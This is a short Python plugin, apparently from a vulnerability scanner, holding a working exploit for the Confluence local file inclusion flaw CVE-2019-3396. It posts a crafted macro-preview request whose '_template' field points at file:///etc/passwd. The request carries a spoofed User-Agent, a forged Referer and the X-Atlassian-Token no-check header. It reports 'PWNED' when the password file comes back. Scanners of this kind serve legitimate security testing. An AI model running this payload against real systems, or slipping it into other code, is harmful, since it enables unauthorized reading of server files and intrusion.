from utils.status import *
from .helper import Plugin,utils

class CVE_2019_3396(Plugin):
    def __init__(self):
        self.name        = "Confluence LFI - CVE_2019_3396"
        self.enable      = True
        self.description = ""

    def presquites(self, host):
        if utils.isalive( utils.uri(host) ):
            return True
        return False

    def main(self,host):
        data    = '{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.google.com","width":"1000","height":"1000","_template":"file:///etc/passwd"},"body":""}}'
        request = utils.requests.post(utils.uri(host) + "/rest/tinymce/1/macro/preview", data=data, headers={
            "User-Agent"        : "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
            "Referer"           : utils.uri(host) + "/pages/resumedraft.action?draftId=1&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
            "Content-Type"      : "application/json; charset=utf-8",
            'X-Atlassian-Token' : 'no-check'
        })

        if request.status_code == 200 and 'root:x:0:0:root' in request.text:
            return Result(
                        status   = SUCCESS,
                        msg      = "PWNED",
                        request  = utils.dump_request(request),
                        response = utils.dump_response(request)
                )
            
        return Result(FAILED,None,None,None)